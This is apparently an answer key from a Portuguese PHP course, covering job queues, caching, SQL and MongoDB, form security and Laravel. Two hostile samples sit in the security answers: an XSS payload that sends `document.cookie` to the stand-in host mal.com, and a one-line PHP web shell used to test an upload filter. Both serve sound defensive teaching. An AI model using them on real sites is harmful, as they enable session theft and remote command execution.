Implemente uma fila de jobs num SQLite em memória (tabela `jobs` com `tipo`, `dados`, `tentativas`, `status`) e um worker que processa os pendentes, tentando de novo os que falham até 3 vezes e mandando para `falhou` (a dead letter) os que esgotam as tentativas. Simule um job que sempre funciona, um que falha uma vez e depois funciona, e um que sempre falha.

```php
<?php
declare(strict_types=1);

$pdo = new PDO('sqlite::memory:', options: [PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC]);
$pdo->exec("CREATE TABLE jobs (id INTEGER PRIMARY KEY, tipo TEXT, dados TEXT, tentativas INTEGER
DEFAULT 0, status TEXT DEFAULT 'pendente')");

function enfileirar(PDO $pdo, string $tipo, array $dados): void
{
    $pdo->prepare("INSERT INTO jobs (tipo, dados) VALUES (?, ?)")->execute([$tipo,
json_encode($dados)]);
}

$falhasDaNota = 0;
$handlers = [
    'email' => fn(array $d) => print("    e-mail enviado para {$d['para']}\n"),
    'nota' => function (array $d) use (&$falhasDaNota) {
        if ($falhasDaNota++ === 0) {
            throw new RuntimeException('serviço de notas fora do ar');
        }
        print("    nota do pedido {$d['pedido']} gerada\n");
    },
    'estoque' => fn(array $d) => throw new RuntimeException('API de estoque recusou'),
];

function processar(PDO $pdo, array $handlers, int $maxTentativas = 3): int
{
    $jobs = $pdo->query("SELECT * FROM jobs WHERE status = 'pendente' ORDER BY id")->fetchAll();
    foreach ($jobs as $job) {
        try {
            $handlers[$job['tipo']](json_decode($job['dados'], true));
            $pdo->prepare("UPDATE jobs SET status = 'feito' WHERE id = ?")-
>execute([$job['id']]);
        } catch (Throwable $e) {
            $tentativas = $job['tentativas'] + 1;
            $status = $tentativas >= $maxTentativas ? 'falhou' : 'pendente';
            $pdo->prepare("UPDATE jobs SET tentativas = ?, status = ? WHERE id = ?")-
>execute([$tentativas, $status, $job['id']]);
            echo "    job {$job['id']} ({$job['tipo']}) falhou na tentativa $tentativas: {$e-
>getMessage()}\n";
        }
    }
    return count($jobs);
}

enfileirar($pdo, 'email', ['para' => 'ana@exemplo.com']);
enfileirar($pdo, 'nota', ['pedido' => 123]);
enfileirar($pdo, 'estoque', ['livro' => 7]);

for ($rodada = 1; ($n = processar($pdo, $handlers)) > 0; $rodada++) {
    echo "  rodada $rodada: $n job(s) examinados\n";
}
```

```
foreach ($pdo->query("SELECT id, tipo, tentativas, status FROM jobs") as $j) {
    echo "job {$j['id']} {$j['tipo']}: {$j['status']} após {$j['tentativas']} falha(s)\n";
}
```

Saída

```
    e-mail enviado para ana@exemplo.com
    job 2 (nota) falhou na tentativa 1: serviço de notas fora do ar
    job 3 (estoque) falhou na tentativa 1: API de estoque recusou
  rodada 1: 3 job(s) examinados
    nota do pedido 123 gerada
    job 3 (estoque) falhou na tentativa 2: API de estoque recusou
  rodada 2: 2 job(s) examinados
    job 3 (estoque) falhou na tentativa 3: API de estoque recusou
  rodada 3: 1 job(s) examinados
job 1 email: feito após 0 falha(s)
job 2 nota: feito após 1 falha(s)
job 3 estoque: falhou após 3 falha(s)
```

As mensagens de cada rodada aparecem antes da linha "rodada N" porque são impressas durante o processamento. Num *worker* real, o laço não termina: ele dorme alguns segundos quando não há *jobs* e espera mais a cada falha de um mesmo *job* (*backoff*). Com mais de um *worker*, a seleção precisa **reservar** o *job* (`UPDATE ... SET status = 'processando' WHERE id = ? AND status = 'pendente'`, conferindo as linhas afetadas, ou `SELECT ... FOR UPDATE SKIP LOCKED` no MySQL 8 e no PostgreSQL), senão dois *workers* pegam o mesmo. É o que o Laravel Queue, o Symfony Messenger e afins fazem por você.

Q44 Cache-aside com interface

Defina `interface Cache { get, set (com TTL), delete }`, uma implementação em memória que respeite o TTL com um relógio injetado, e um `LivroService` que use o padrão cache-aside sobre um repositório que conta as idas ao "banco". Mostre o miss, o hit, a invalidação na alteração de preço e a expiração pelo TTL.

```php
<?php
declare(strict_types=1);

interface Cache
{
    public function get(string $chave): mixed;
    public function set(string $chave, mixed $valor, int $ttl): void;
    public function delete(string $chave): void;
}

final class CacheEmMemoria implements Cache
{
    private array $itens = [];
    public function __construct(private Closure $agora) {}
    public function get(string $chave): mixed
    {
        [$valor, $expira] = $this->itens[$chave] ?? [null, 0];
        return $expira > ($this->agora)() ? $valor : null;
    }
    public function set(string $chave, mixed $valor, int $ttl): void
    {
        $this->itens[$chave] = [$valor, ($this->agora)() + $ttl];
    }
    public function delete(string $chave): void
    {
        unset($this->itens[$chave]);
    }
}

final class BancoFalso
{
    public int $consultas = 0;
    public array $precos = [42 => 4990];
    public function preco(int $id): int { $this->consultas++; return $this->precos[$id]; }
}

final class LivroService
{
    public function __construct(private Cache $cache, private BancoFalso $banco) {}

    public function preco(int $id): int
    {
        $chave = "livro:$id:preco";
        $valor = $this->cache->get($chave);
        if ($valor === null) {
            $valor = $this->banco->preco($id);
            $this->cache->set($chave, $valor, ttl: 300);
        }
        return $valor;
    }

    public function alterarPreco(int $id, int $novo): void
    {
```

```
        $this->banco->precos[$id] = $novo;
        $this->cache->delete("livro:$id:preco");  // invalida: a próxima leitura busca o novo
    }
}

$relogio = 1000;
$banco = new BancoFalso();
$svc = new LivroService(new CacheEmMemoria(function () use (&$relogio) { return $relogio; }),
$banco);

$passos = [
    'primeira leitura' => fn() => $svc->preco(42),
    'segunda leitura' => fn() => $svc->preco(42),
    'preço alterado, nova leitura' => function () use ($svc) { $svc->alterarPreco(42, 3990);
return $svc->preco(42); },
    'lida 2 min depois' => function () use ($svc, &$relogio) { $relogio += 120; return $svc-
>preco(42); },
    'lida 10 min depois' => function () use ($svc, &$relogio) { $relogio += 480; return $svc-
>preco(42); },
];
foreach ($passos as $passo => $acao) {
    $antes = $banco->consultas;
    $preco = $acao();
    printf("%s R$ %.2f (%s)\n", mb_str_pad($passo, 29), $preco / 100, $banco->consultas > $antes
? 'banco' : 'cache');
}
```

Saída

```
primeira leitura              R$ 49.90 (banco)
segunda leitura               R$ 49.90 (cache)
preço alterado, nova leitura  R$ 39.90 (banco)
lida 2 min depois             R$ 39.90 (cache)
lida 10 min depois            R$ 39.90 (banco)
```

Com Redis, só a classe do cache muda: `get` vira `$redis->get($chave)` (com `unserialize` ou `json_decode`), `set` vira `$redis->set($chave, $valor, ['EX' => $ttl])` e `delete` vira `$redis->del($chave)`; o `LivroService` não muda uma linha. O relógio injetado permitiu "avançar 10 minutos" sem esperar. Ele é uma função anônima com `use (&$relogio)`, por **referência**: uma *arrow function* (`fn() => $relogio`) capturaria o valor de 1000 no momento da criação, o relógio do cache nunca andaria, e a última leitura viria do cache, um bug que a primeira versão deste exercício teve. Um detalhe do *cache-aside*: um preço `null` legítimo nunca ficaria em cache, porque `null` significa "não está no cache"; quando isso importa, guarda-se um marcador ou um array `['v' => null]`.

MÓDULO 6

Outros bancos: PostgreSQL, SQLite e MongoDB

Os recursos próprios do PostgreSQL, o SQLite como banco de arquivo e o MongoDB com documentos.

Artigos 31 a 33

#31 PostgreSQL com PHP
#32 SQLite com PHP
#33 MongoDB com PHP

Perguntas conceituais — respostas

Q45 O que o PostgreSQL tem a mais

Cite três recursos do PostgreSQL que o MySQL não tem ou tem de forma limitada, e um caso de uso de cada um numa livraria.

- ** `RETURNING` **: `INSERT INTO pedidos (...) VALUES (...) RETURNING id, criado_em` devolve as colunas geradas no mesmo comando, sem um `SELECT` a mais. Útil ao criar o pedido e já mostrar o número dele.
- **JSONB com índices GIN**: guardar atributos variáveis de produtos (dimensões de um livro, faixas de um disco) num campo `jsonb` e consultar `WHERE atributos @> '{"capa": "dura"}'` com índice.
- **Busca textual nativa** (`tsvector`, `to_tsquery('portuguese', ...)`): busca por radicais ("livros" encontra "livro") e com ranking, sem um serviço externo.

Outros: tipos de array, CTEs recursivas (árvore de categorias), índices parciais (`WHERE ativo`), DDL transacional (visto nas *migrations*) e `ON CONFLICT` com mais opções que o `ON DUPLICATE KEY UPDATE`.

Q46 Quando o SQLite basta

O SQLite é "só para testes"? Em que situações ele é a escolha certa em produção, e qual é a principal limitação dele?

Não. O SQLite é um banco **embutido**: uma biblioteca que lê e grava um arquivo, sem servidor. É a escolha certa para aplicações de um servidor só com volume de escrita moderado (sites de conteúdo, painéis internos, blogs), aplicativos de desktop e celular, ferramentas de linha de comando e caches locais. É rápido (sem ida à rede), não exige administração e o *backup* é copiar um arquivo (com cuidado, via `.backup` ou `VACUUM INTO`). A limitação principal são as **escritas concorrentes**: há uma única escrita por vez no banco inteiro. Com o modo WAL (`PRAGMA journal_mode=WAL`), leituras e uma escrita convivem bem, mas muitos processos escrevendo ao mesmo tempo, ou vários servidores acessando o mesmo arquivo pela rede, pedem um banco servidor.

Q47 Modelando no MongoDB

Para guardar os pedidos da livraria no MongoDB, como fica o documento de um pedido? O que fica embutido e o que fica como referência, e por quê?

```
{
  "_id": ObjectId("..."),
  "numero": 1042,
  "clienteId": ObjectId("..."),
  "cliente": { "nome": "Ana", "email": "ana@exemplo.com" },
  "itens": [
    { "livroId": ObjectId("..."), "titulo": "Vidas Secas", "qtd": 1, "precoCentavos": 4990 }
  ],
  "status": "pago",
  "criadoEm": ISODate("2026-10-20T10:00:00Z")
}
```

Os **itens** ficam embutidos: pertencem ao pedido, são lidos sempre com ele e não existem sozinhos. O **título e o preço** são copiados no item de propósito: o pedido precisa registrar o preço **do momento da compra**, que não deve mudar quando o catálogo mudar. O **cliente** fica como referência (`clienteId`), com uma cópia do nome e do e-mail só para exibição: o cadastro dele é uma entidade independente, alterada em outro lugar. A regra geral: embuta o que é lido junto e pertence ao documento; referencie o que tem vida própria ou cresce sem limite (um documento tem até 16 MB).

Exercícios de código — respostas

Q48 SQLite com transação e UPSERT

Com o SQLite, crie a tabela `estoque(livro_id PRIMARY KEY, qtd)` e escreva `function darBaixa(PDO $pdo, array $itens): void`, que baixa o estoque de vários livros numa transação, recusando a operação inteira se algum ficar negativo. Use um UPSERT (`INSERT ... ON CONFLICT DO UPDATE`) para a entrada de estoque. Mostre uma baixa que dá certo e uma que é desfeita.

```php
<?php
declare(strict_types=1);

$pdo = new PDO('sqlite::memory:', options: [PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION]);
$pdo->exec("CREATE TABLE estoque (livro_id INTEGER PRIMARY KEY, qtd INTEGER NOT NULL CHECK (qtd
>= 0))");

function entrada(PDO $pdo, int $livro, int $qtd): void
{
    $pdo->prepare("INSERT INTO estoque (livro_id, qtd) VALUES (:l, :q)
                   ON CONFLICT (livro_id) DO UPDATE SET qtd = qtd + excluded.qtd")
        ->execute(['l' => $livro, 'q' => $qtd]);
}

function darBaixa(PDO $pdo, array $itens): void
{
    $pdo->beginTransaction();
    try {
        $st = $pdo->prepare("UPDATE estoque SET qtd = qtd - ? WHERE livro_id = ?");
        foreach ($itens as $livro => $qtd) {
            $st->execute([$qtd, $livro]);  // o CHECK recusa estoque negativo
        }
        $pdo->commit();
    } catch (PDOException $e) {
        $pdo->rollBack();
        throw new DomainException("estoque insuficiente; nada foi baixado", previous: $e);
    }
}

function mostrar(PDO $pdo): string
{
    return implode(', ', array_map(fn($r) => "livro {$r[0]}: {$r[1]}", $pdo->query("SELECT * FROM
estoque ORDER BY livro_id")->fetchAll(PDO::FETCH_NUM)));
}

entrada($pdo, 1, 5);
entrada($pdo, 2, 1);
entrada($pdo, 1, 3);  // já existe: soma
echo "após entradas: ", mostrar($pdo), "\n";

darBaixa($pdo, [1 => 2, 2 => 1]);
echo "após baixa:    ", mostrar($pdo), "\n";

try {
    darBaixa($pdo, [1 => 1, 2 => 1]);  // o livro 2 está zerado
} catch (DomainException $e) {
    echo "recusado: ", $e->getMessage(), "\n";
}
echo "estoque final: ", mostrar($pdo), "\n";
```

Saída

```
após entradas: livro 1: 8, livro 2: 1
após baixa:    livro 1: 6, livro 2: 0
recusado: estoque insuficiente; nada foi baixado
estoque final: livro 1: 6, livro 2: 0
```

O livro 1 teve a baixa executada **antes** da falha do livro 2, e mesmo assim voltou para 6: o `rollBack` desfez tudo. A regra "estoque não fica negativo" está no próprio banco (`CHECK`), e não só no PHP: vale para qualquer programa que grave na tabela. O `excluded.qtd` no *UPSERT* é o valor que se tentou inserir. A mesma sintaxe funciona no PostgreSQL; no MySQL, o equivalente é `ON DUPLICATE KEY UPDATE qtd = qtd + VALUES(qtd)`.

Q49 Consultas no MongoDB

Com a biblioteca `mongodb/mongodb` (instalada pelo Composer, junto com a extensão `mongodb`), escreva o código que insere três pedidos no formato da pergunta anterior, busca os pedidos pagos de um cliente e calcula, com uma aggregation pipeline, o total vendido por livro, do maior para o menor.

```php
<?php
declare(strict_types=1);

require __DIR__ . '/vendor/autoload.php';

use MongoDB\BSON\ObjectId;
use MongoDB\BSON\UTCDateTime;
use MongoDB\Client;

$pedidos = (new Client('mongodb://127.0.0.1:27017'))->selectCollection('livraria', 'pedidos');
$ana = new ObjectId();

$pedidos->insertMany([
    ['numero' => 1, 'clienteId' => $ana, 'status' => 'pago', 'criadoEm' => new UTCDateTime(),
     'itens' => [['titulo' => 'Vidas Secas', 'qtd' => 1, 'precoCentavos' => 4990]]],
    ['numero' => 2, 'clienteId' => $ana, 'status' => 'pendente', 'criadoEm' => new UTCDateTime(),
     'itens' => [['titulo' => 'Iracema', 'qtd' => 2, 'precoCentavos' => 2500]]],
    ['numero' => 3, 'clienteId' => new ObjectId(), 'status' => 'pago', 'criadoEm' => new
UTCDateTime(),
     'itens' => [['titulo' => 'Vidas Secas', 'qtd' => 2, 'precoCentavos' => 4990],
                 ['titulo' => 'Iracema', 'qtd' => 1, 'precoCentavos' => 2500]]],
]);

foreach ($pedidos->find(['clienteId' => $ana, 'status' => 'pago'], ['sort' => ['numero' => 1]])
as $p) {
    echo "pedido pago da Ana: {$p['numero']}\n";
}

$porLivro = $pedidos->aggregate([
    ['$match' => ['status' => 'pago']],
    ['$unwind' => '$itens'],  // um documento por item
    ['$group' => [
        '_id' => '$itens.titulo',
        'exemplares' => ['$sum' => '$itens.qtd'],
        'totalCentavos' => ['$sum' => ['$multiply' => ['$itens.qtd', '$itens.precoCentavos']]],
    ]],
    ['$sort' => ['totalCentavos' => -1]],
]);
foreach ($porLivro as $l) {
    printf("%-12s %d exemplar(es), R$ %.2f\n", $l['_id'], $l['exemplares'], $l['totalCentavos'] /
100);
}
```

Com um MongoDB rodando (`docker run -d -p 27017:27017 mongo:8`, ou instalado pelo gerenciador de pacotes, com `sudo systemctl start mongod`), o resultado esperado é o pedido 1 da Ana, e depois Vidas Secas com 3 exemplares (R$ 149,70) e Iracema com 1 (R$ 25,00): o pedido pendente fica de fora pelo `$match`. A *pipeline* é uma sequência de estágios, como os comandos de um *pipe* no terminal: filtrar, "desenrolar" o array de itens, agrupar e ordenar. O `$match` vem primeiro para que os estágios seguintes processem menos documentos e para poder usar índices. A coleção é criada na primeira inserção, sem `CREATE TABLE`.

MÓDULO 7

A web: formulários, sessões e segurança

Formulários, sessões e cookies, upload de arquivos, XSS, CSRF e SQL injection, Composer e namespaces, PSRs e boas práticas.

Artigos 34 a 40

#34 Formulários HTML e PHP
#35 Sessions e Cookies
#36 Upload de Arquivos
#37 Segurança em Formulários: XSS, CSRF e SQL Injection
#38 Composer e Namespaces
#39 PSR e Padrões de Código
#40 Boas Práticas e Código Limpo em PHP

Perguntas conceituais — respostas

Q50 GET ou POST

Quando um formulário deve usar `GET` e quando `POST`? Por que o formulário de busca do site usa `GET`, e o de login não pode usar?

`GET` é para **consultar**: os dados vão na URL, a requisição pode ser repetida, guardada nos favoritos, compartilhada e posta em cache, e não deve alterar nada no servidor. `POST` é para **alterar** (criar, enviar, apagar): os dados vão no corpo, e o navegador avisa antes de reenviar. A busca usa `GET` porque o resultado de `/busca?q=machado` pode ser compartilhado e indexado. O login não pode usar `GET` porque a senha ficaria na URL, e URLs aparecem no histórico do navegador, nos *logs* do servidor e dos *proxies* e no cabeçalho `Referer` enviado a outros sites. O `POST` não criptografa nada: a proteção real é o HTTPS.

Q51 Sessão e cookie

Qual a diferença entre guardar o carrinho num cookie e na sessão (`$_SESSION`)? Que atributos um cookie de sessão deve ter, e por que chamar `session_regenerate_id(true)` no login?

O *cookie* fica **no navegador**: o usuário pode ler e alterar o conteúdo, e ele viaja em toda requisição (com limite de uns 4 KB). A sessão fica **no servidor**; o navegador guarda só um identificador aleatório (o *cookie* `PHPSESSID`). Um carrinho com preços num *cookie* pode ser adulterado; na sessão, não. O *cookie* de sessão deve ter `HttpOnly` (o JavaScript não o lê, o que limita o roubo por XSS), `Secure` (só via HTTPS) e `SameSite=Lax` ou `Strict` (não vai em requisições iniciadas por outros sites, o que reduz o CSRF). O `session_regenerate_id(true)` no login troca o identificador e descarta o antigo, contra a **fixação de sessão**: o atacante não consegue "plantar" um id conhecido antes do login e aproveitá-lo depois.

Q52 XSS: escapar na saída

Um comentário com `<script>fetch('https://mal.com?c='+document.cookie)</script>` foi gravado no banco. Onde e como o PHP deve impedir que ele execute? Por que filtrar na entrada não basta?

Na **saída**: todo dado exibido no HTML passa por `htmlspecialchars($texto, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8')`, que transforma `<` em `<`, e o navegador mostra o texto em vez de executá-lo. Os *templates* modernos (Blade, Twig, Plates com `$this->e()`) fazem isso por padrão. Filtrar na entrada não basta porque o mesmo dado vai para lugares diferentes (HTML, atributo, JavaScript, URL, JSON), cada um com regras próprias de escape, e porque dados entram por caminhos que o filtro não vê (importações, APIs, o próprio banco). Como camada extra, um cabeçalho *Content-Security-Policy* que proíba *scripts* inline impede a execução mesmo quando um escape é esquecido.

Q53 PSR-12 e as outras PSRs

> *O que é uma PSR, e qual a diferença de natureza entre a PSR-12 (estilo de código), a PSR-4 (autoload) e a PSR-7 (mensagens HTTP)?*

PSRs (*PHP Standards Recommendations*) são padrões publicados pelo PHP-FIG, um grupo de projetos que combinam convenções para que bibliotecas diferentes funcionem juntas. Elas são de naturezas diferentes: a **PSR-12** (hoje sucedida pelo PER Coding Style) é só **estilo**: indentação, chaves, espaços, de modo que todo código PHP pareça do mesmo autor, e é aplicada por ferramentas como o PHP-CS-Fixer; a **PSR-4** é uma **convenção de nomes**, que liga *namespace* a pasta e permite um *autoload* universal; a **PSR-7** define **interfaces** (`RequestInterface`, `ResponseInterface`) que permitem trocar a biblioteca HTTP ou escrever um *middleware* (PSR-15) que funciona em qualquer *framework* compatível. Outras PSRs muito usadas: PSR-3 (log), PSR-11 (contêiner) e PSR-20 (relógio).

Exercícios de código — respostas

Q54 Um formulário com CSRF e PRG

> *Escreva `form.php`, servido pelo `php -S`, com um formulário de contato que: gera um token CSRF na sessão; no `POST`, recusa com 403 token ausente ou errado; valida o e-mail com `filter_var`; e, se tudo estiver certo, guarda uma mensagem de sucesso na sessão e redireciona com 303 (Post/Redirect/Get). Teste com `curl`, guardando os cookies num arquivo.*

`form.php`:

```
<?php
declare(strict_types=1);

session_start(['cookie_httponly' => true, 'cookie_samesite' => 'Lax']);
$_SESSION['csrf'] ??= bin2hex(random_bytes(32));

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (!hash_equals($_SESSION['csrf'], (string) ($_POST['csrf'] ?? ''))) {
        http_response_code(403);
        exit("token CSRF inválido\n");
    }
    $email = filter_var($_POST['email'] ?? '', FILTER_VALIDATE_EMAIL);
    if ($email === false) {
        http_response_code(422);
        exit("e-mail inválido\n");
    }
    $_SESSION['flash'] = "mensagem de $email recebida";
    header('Location: /form.php', response_code: 303);  // PRG: o F5 depois não reenvia
    exit;
}

$flash = $_SESSION['flash'] ?? null;
unset($_SESSION['flash']);  // a mensagem aparece uma vez só
$e = fn(string $s): string => htmlspecialchars($s, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
?>
<?= $flash ? "<p class=\"ok\">{$e($flash)}</p>\n" : '' ?>
<form method="post">
  <input type="hidden" name="csrf" value="<?= $e($_SESSION['csrf']) ?>">
  <input type="email" name="email">
</form>
```

```
php -S 127.0.0.1:8792 >/dev/null 2>&1 &
servidor=$!
sleep 1
url=http://127.0.0.1:8792/form.php
jar=cookies.txt

token=$(curl -s -c $jar $url | grep -o 'name="csrf" value="[0-9a-f]*' | cut -d'"' -f4)
echo "token obtido: ${#token} caracteres"
echo "sem token:     $(curl -s -b $jar -d 'email=ana@exemplo.com' $url)"
echo "token errado:  $(curl -s -b $jar -d 'csrf=abc&email=ana@exemplo.com' $url)"
echo "e-mail ruim:   $(curl -s -b $jar -d "csrf=$token&email=ana" $url)"
curl -s -b $jar -o /dev/null -w "válido:        %{http_code} -> %{redirect_url}\n" -d
"csrf=$token&email=ana@exemplo.com" $url
echo "depois do redirecionamento:"
curl -s -b $jar $url | grep 'class="ok"'
echo "recarregando de novo (a mensagem já foi consumida):"
curl -s -b $jar $url | grep -c 'class="ok"'
kill $servidor
```

Saída

```
token obtido: 64 caracteres
sem token:     token CSRF inválido
token errado:  token CSRF inválido
e-mail ruim:   e-mail inválido
válido:        303 -> http://127.0.0.1:8792/form.php
depois do redirecionamento:
<p class="ok">mensagem de ana@exemplo.com recebida</p>
recarregando de novo (a mensagem já foi consumida):
0
```

O *token* é aleatório, guardado na sessão e conferido com `hash_equals`: um site atacante pode fazer o navegador enviar o formulário, com o *cookie* da sessão, mas não consegue ler a página para descobrir o *token*. O `303 See Other` instrui o navegador a seguir com um `GET`. A mensagem *flash* é removida da sessão ao ser exibida, por isso a última contagem é 0 (o `grep -c` não achou nenhuma linha). O `$e` escapa tudo o que vai para o HTML, inclusive o e-mail que o próprio usuário digitou.

Q55 Upload seguro

> *Escreva `upload.php` que receba um campo `capa` e só aceite imagens JPEG ou PNG de até 1 MB, verificando o **conteúdo** com `finfo` (e não a extensão nem o `type` enviado pelo navegador), confirmando com `getimagesize`, e gravando com um nome gerado pelo servidor fora da pasta pública. Teste com `curl -F` enviando uma imagem real, um PHP renomeado para `.png` e um arquivo grande.*

`upload.php`:

```
<?php
declare(strict_types=1);

const DESTINO = __DIR__ . '/armazenamento';  // fora da raiz pública, num projeto real
const MAX = 1024 * 1024;

$f = $_FILES['capa'] ?? null;
if (!$f || $f['error'] !== UPLOAD_ERR_OK) {
    http_response_code(400);
    exit("erro no envio (código " . ($f['error'] ?? 'sem arquivo') . ")\n");
}
if ($f['size'] > MAX) {
    http_response_code(413);
    exit("arquivo grande demais\n");
}
$mime = (new finfo(FILEINFO_MIME_TYPE))->file($f['tmp_name']);  // lê os bytes do arquivo
$extensoes = ['image/jpeg' => 'jpg', 'image/png' => 'png'];
if (!isset($extensoes[$mime]) || getimagesize($f['tmp_name']) === false) {
    http_response_code(415);
    exit("tipo não permitido: $mime\n");
}
@mkdir(DESTINO, 0750);
$nome = bin2hex(random_bytes(16)) . '.' . $extensoes[$mime];
move_uploaded_file($f['tmp_name'], DESTINO . "/$nome");
[$larg, $alt] = getimagesize(DESTINO . "/$nome");
echo "aceito: {$larg}x{$alt}, $mime, gravado com nome de ", strlen($nome), " caracteres\n";
```

```
php -r '$i = imagecreatetruecolor(40, 60); imagepng($i, "capa.png");'
printf '<?php system($_GET["c"]); ?>' > falso.png
head -c 2000000 /dev/zero > grande.png

php -S 127.0.0.1:8793 >/dev/null 2>&1 &
servidor=$!
sleep 1
url=http://127.0.0.1:8793/upload.php
for arq in capa.png falso.png grande.png; do
  codigo=$(curl -s -o resposta.txt -w '%{http_code}' -F "capa=@$arq;type=image/png" $url)
  echo "$arq [$codigo]: $(cat resposta.txt)"
done
kill $servidor
```

Saída

```
capa.png [200]: aceito: 40x60, image/png, gravado com nome de 36 caracteres
falso.png [415]: tipo não permitido: text/x-php
grande.png [413]: arquivo grande demais
```

O `falso.png` declarou `type=image/png` no envio, e mesmo assim foi recusado: o `finfo` olhou os bytes e achou um texto PHP. Se ele tivesse sido gravado com o nome original numa pasta pública, bastaria visitar `/uploads/falso.png.php` (ou um `.png` num servidor mal configurado) para executar comandos no servidor.

As defesas são em camadas: verificar o conteúdo, gerar o nome, gravar fora da raiz pública (servindo por um script, ou com a execução de PHP desligada na pasta) e, para imagens, reprocessar com a GD ou a Imagick, o que descarta qualquer carga escondida. O limite também precisa estar no `php.ini` (`upload_max_filesize` e `post_max_size`), senão o arquivo inteiro é recebido antes da recusa.

Q56 Escapar conforme o contexto

> *Escreva um programa que monte a mesma informação vinda do usuário (`O'Reilly <b>&</b> "Cia"`) em quatro contextos (o corpo do HTML, um atributo, uma URL e um bloco JSON dentro de um `<script>`), cada um com a função de escape certa, e mostre o resultado.*

```
<?php
declare(strict_types=1);

$entrada = 'O\'Reilly <b>&</b> "Cia"';

$html = htmlspecialchars($entrada, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
echo "corpo:    <p>$html</p>\n";
echo "atributo: <input value=\"$html\">\n";
echo "URL:      <a href=\"/busca?q=", urlencode($entrada), "\">\n";
$json = json_encode(['editora' => $entrada], JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS |
JSON_HEX_QUOT | JSON_UNESCAPED_UNICODE);
echo "script:   <script>const dados = $json;</script>\n";
```

Saída

```
corpo:    <p>O&#039;Reilly &lt;b&gt;&amp;&lt;/b&gt; &quot;Cia&quot;</p>
atributo: <input value="O&#039;Reilly &lt;b&gt;&amp;&lt;/b&gt; &quot;Cia&quot;">
URL:      <a href="/busca?q=O%27Reilly+%3Cb%3E%26%3C%2Fb%3E+%22Cia%22">
script:   <script>const dados = {"editora":"O\u0027Reilly \u003Cb\u003E\u0026\u003C\/b\u003E
\u0022Cia\u0022"};</script>
```

No corpo e no atributo entre aspas, o `htmlspecialchars` com `ENT_QUOTES` basta (sem as aspas no atributo, nem ele resolve: sempre use aspas). Na URL, o `urlencode` transforma espaços e símbolos em `%XX`; e o valor ainda passaria pelo `htmlspecialchars` se a URL contivesse `&` entre parâmetros. Dentro de `<script>`, o JSON com as *flags* `JSON_HEX_*` impede que um `</script>` no dado feche o bloco antes da hora. Não existe uma função que sirva para todos os contextos; por isso os *templates* escapam o HTML por padrão e oferecem filtros para os outros.

MÓDULO 8

Laravel

Introdução ao Laravel, Eloquent, Blade, autenticação e autorização, e APIs.

Artigos 41 a 45

#41 Introdução ao Laravel
#42 Eloquent ORM com Laravel
#43 Blade — Templates no Laravel
#44 Autenticação e Autorização no Laravel
#45 APIs com Laravel

Perguntas conceituais — respostas

Q57 O que o Laravel faz por você

Compare criar a livraria em PHP puro (como nos módulos anteriores) e em Laravel. Cite quatro coisas que o framework entrega prontas, e um custo de usá-lo.

Prontos no Laravel: **roteamento** com parâmetros, grupos e *middlewares*; **Eloquent** (ORM) com *migrations*, *seeders* e *factories*; **Blade** com escape automático e herança de *layouts*; **autenticação** (com os *starter kits*), autorização com *gates* e *policies*, proteção CSRF e criptografia; **validação** declarativa com mensagens traduzíveis; **filas**, agendamento de tarefas, cache, e-mail e eventos com a mesma API para vários *backends*; e **testes** HTTP com banco em memória. O custo: muita "mágica" (*facades*, injeção automática, convenções de nome) que esconde o que acontece e precisa ser aprendida; dependência do ciclo de versões do *framework*, com atualizações a cada ano; e mais código carregado por requisição que um *script* enxuto, o que importa pouco na maioria dos casos. Conhecer o PHP puro antes é o que permite entender o que o Laravel automatiza.

Q58 Mass assignment

O que é mass assignment no Eloquent, e por que `Livro::create($request->all())` é perigoso sem `$fillable`? Qual a forma recomendada?

É criar ou atualizar um modelo a partir de um array inteiro de uma vez. Com `$request->all()`, **qualquer** campo enviado pelo cliente vai para o modelo: se a tabela `users` tem a coluna `is_admin`, um formulário de cadastro com um campo extra `is_admin=1` cria um administrador. O Eloquent protege por padrão: só aceita em massa os atributos listados em `$fillable` (ou não listados em `$guarded`), e lança exceção ou ignora os outros. A forma recomendada é usar **só os dados validados**: `Livro::create($request->validated())`, com as regras num *Form Request*. Assim, o que não tem regra de validação nem chega ao modelo. É o mesmo *overposting* do caderno de C#.

Q59 Policies

O editor pode alterar qualquer livro; o autor, só os próprios. Onde essa regra deve morar no Laravel, e por que não no controller?

Numa **Policy** (`LivroPolicy`), com um método por ação: `update(User $user, Livro $livro): bool` devolve `$user->role === 'editor' || $livro->autor_id === $user->id`. O *controller* só pergunta (`$this->authorize('update', $livro)` ou `Gate::authorize`), e o Blade usa a mesma regra para mostrar ou esconder o botão (`@can('update', $livro)`). Com a regra no *controller*, ela seria repetida no *controller* da API, na listagem que decide quais botões mostrar e no comando de terminal, e uma das cópias acabaria diferente. Centralizada, é testável sozinha e muda num lugar só. É também um dos itens pendentes deste próprio site: "author edita apenas os próprios artigos".

Exercícios de código — respostas

Q60 Rotas, controller e validação no Laravel

Escreva, para um projeto Laravel, a rota de recurso `livros`, o `StoreLivroRequest` com as regras (título obrigatório até 200 caracteres, ISBN único com 13 dígitos, preço numérico maior que zero) e o método `store` do `LivroController`, que cria o livro com os dados validados e redireciona para a página dele com uma mensagem.

```
// routes/web.php
use App\Http\Controllers\LivroController;

Route::resource('livros', LivroController::class)->middleware('auth')->except(['index', 'show']);
Route::resource('livros', LivroController::class)->only(['index', 'show']);
```

```
// app/Http/Requests/StoreLivroRequest.php
namespace App\Http\Requests;

use Illuminate\Foundation\Http\FormRequest;

class StoreLivroRequest extends FormRequest
{
    public function authorize(): bool
    {
        return $this->user()->can('create', \App\Models\Livro::class);
    }

    public function rules(): array
    {
        return [
            'titulo' => ['required', 'string', 'max:200'],
            'isbn' => ['required', 'digits:13', 'unique:livros,isbn'],
            'preco' => ['required', 'numeric', 'gt:0'],
        ];
    }
}
```

```php
// app/Http/Controllers/LivroController.php
public function store(StoreLivroRequest $request): RedirectResponse
{
    $livro = Livro::create($request->validated());

    return redirect()
        ->route('livros.show', $livro)
        ->with('status', 'Livro cadastrado.');
}
```

